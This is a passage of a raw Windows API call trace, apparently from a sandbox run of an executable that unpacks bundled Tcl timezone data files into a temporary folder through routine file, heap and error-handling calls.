returned 67 [0040.093] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Dhaka" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\dhaka"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.093] GetLastError () returned 0x2 [0040.093] SetLastError (dwErrCode=0x2) [0040.093] GetLastError () returned 0x2 [0040.093] SetLastError (dwErrCode=0x2) [0040.093] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Dhaka", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Dhaka", lpFilePart=0x0) returned 0x42 [0040.093] GetLastError () returned 0x2 [0040.093] SetLastError (dwErrCode=0x2) [0040.093] GetLastError () returned 0x2 [0040.093] SetLastError (dwErrCode=0x2) [0040.093] GetLastError () returned 0x2 [0040.093] SetLastError (dwErrCode=0x2) [0040.093] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Dhaka") returned 67 [0040.093] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0040.093] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Dhaka" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\dhaka"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.094] GetFileType (hFile=0x10c) returned 0x1 [0040.094] htonl (hostlong=0x78010000) returned 0x178 [0040.094] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.094] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x178, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x178, lpOverlapped=0x0) returned 1 [0040.095] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.095] CloseHandle (hObject=0x10c) returned 1 [0040.095] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5506e8 | out: hHeap=0x530000) returned 1 [0040.095] htonl (hostlong=0x30000000) returned 0x30 [0040.095] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0040.095] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0040.095] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.095] GetFileType (hFile=0x10c) returned 0x1 [0040.095] htonl (hostlong=0xb5cf5a00) returned 0x5acfb5 [0040.096] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5f7fb5, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0040.096] htonl (hostlong=0xaf000000) returned 0xaf [0040.096] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xaf) returned 0x55cfe0 [0040.096] htonl (hostlong=0xaf000000) returned 0xaf [0040.096] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.096] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0040.096] htonl (hostlong=0xff000000) returned 0xff [0040.096] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xff) returned 0x550600 [0040.096] htonl (hostlong=0xaf000000) returned 0xaf [0040.096] htonl (hostlong=0xff000000) returned 0xff [0040.096] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0040.096] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0040.096] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0040.096] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.096] CloseHandle (hObject=0x10c) returned 1 [0040.096] GetLastError () returned 0x0 [0040.096] SetLastError (dwErrCode=0x0) [0040.096] GetLastError () returned 0x0 [0040.096] SetLastError (dwErrCode=0x0) [0040.096] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0040.096] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.096] GetFileType (hFile=0x10c) returned 0x1 [0040.096] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.096] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.096] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.096] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.097] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.097] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.097] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.097] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.097] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.097] CloseHandle (hObject=0x10c) returned 1 [0040.097] GetLastError () returned 0x0 [0040.097] SetLastError (dwErrCode=0x0) [0040.097] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0040.097] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.097] GetFileType (hFile=0x10c) returned 0x1 [0040.097] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.097] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.097] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.097] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.097] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.097] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.097] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.097] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.097] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.097] CloseHandle (hObject=0x10c) returned 1 [0040.097] GetLastError () returned 0x0 [0040.097] SetLastError (dwErrCode=0x0) [0040.097] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia") returned 61 [0040.097] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.098] GetFileType (hFile=0x10c) returned 0x1 [0040.098] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.098] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.098] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.098] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.098] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.098] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.098] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.098] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.098] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.098] CloseHandle (hObject=0x10c) returned 1 [0040.098] GetLastError () returned 0x0 [0040.098] SetLastError (dwErrCode=0x0) [0040.098] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Dili") returned 66 [0040.098] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Dili" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\dili"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.098] GetLastError () returned 0x2 [0040.098] SetLastError (dwErrCode=0x2) [0040.098] GetLastError () returned 0x2 [0040.098] SetLastError (dwErrCode=0x2) [0040.098] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Dili", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Dili", lpFilePart=0x0) returned 0x41 [0040.098] GetLastError () returned 0x2 [0040.098] SetLastError (dwErrCode=0x2) [0040.098] GetLastError () returned 0x2 [0040.098] SetLastError (dwErrCode=0x2) [0040.098] GetLastError () returned 0x2 [0040.098] SetLastError (dwErrCode=0x2) [0040.098] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Dili") returned 66 [0040.098] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0040.098] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Dili" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\dili"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.099] GetFileType (hFile=0x10c) returned 0x1 [0040.099] htonl (hostlong=0xff000000) returned 0xff [0040.099] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.099] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xff, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xff, lpOverlapped=0x0) returned 1 [0040.100] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.100] CloseHandle (hObject=0x10c) returned 1 [0040.100] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0040.100] htonl (hostlong=0x30000000) returned 0x30 [0040.100] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0040.100] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0040.100] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.100] GetFileType (hFile=0x10c) returned 0x1 [0040.100] htonl (hostlong=0x64d05a00) returned 0x5ad064 [0040.100] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5f8064, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0040.100] htonl (hostlong=0x88000000) returned 0x88 [0040.100] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x88) returned 0x55cfe0 [0040.100] htonl (hostlong=0x88000000) returned 0x88 [0040.100] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.100] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0040.100] htonl (hostlong=0x8e000000) returned 0x8e [0040.100] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8e) returned 0x550600 [0040.100] htonl (hostlong=0x88000000) returned 0x88 [0040.101] htonl (hostlong=0x8e000000) returned 0x8e [0040.101] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0040.101] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0040.101] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0040.101] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.101] CloseHandle (hObject=0x10c) returned 1 [0040.101] GetLastError () returned 0x0 [0040.101] SetLastError (dwErrCode=0x0) [0040.101] GetLastError () returned 0x0 [0040.101] SetLastError (dwErrCode=0x0) [0040.101] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0040.101] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.101] GetFileType (hFile=0x10c) returned 0x1 [0040.101] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.101] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.101] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.101] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.101] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.101] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.101] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.101] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.101] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.101] CloseHandle (hObject=0x10c) returned 1 [0040.101] GetLastError () returned 0x0 [0040.101] SetLastError (dwErrCode=0x0) [0040.101] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0040.101] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.102] GetFileType (hFile=0x10c) returned 0x1 [0040.102] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.102] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.102] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.102] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.102] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.102] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.102] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.102] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.102] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.102] CloseHandle (hObject=0x10c) returned 1 [0040.102] GetLastError () returned 0x0 [0040.102] SetLastError (dwErrCode=0x0) [0040.102] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia") returned 61 [0040.102] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.102] GetFileType (hFile=0x10c) returned 0x1 [0040.102] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.102] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.102] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.102] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.102] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.102] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.102] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.102] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.102] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.103] CloseHandle (hObject=0x10c) returned 1 [0040.103] GetLastError () returned 0x0 [0040.103] SetLastError (dwErrCode=0x0) [0040.103] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Dubai") returned 67 [0040.103] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Dubai" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\dubai"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.103] GetLastError () returned 0x2 [0040.103] SetLastError (dwErrCode=0x2) [0040.103] GetLastError () returned 0x2 [0040.103] SetLastError (dwErrCode=0x2) [0040.103] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Dubai", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Dubai", lpFilePart=0x0) returned 0x42 [0040.103] GetLastError () returned 0x2 [0040.103] SetLastError (dwErrCode=0x2) [0040.103] GetLastError () returned 0x2 [0040.103] SetLastError (dwErrCode=0x2) [0040.103] GetLastError () returned 0x2 [0040.103] SetLastError (dwErrCode=0x2) [0040.103] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Dubai") returned 67 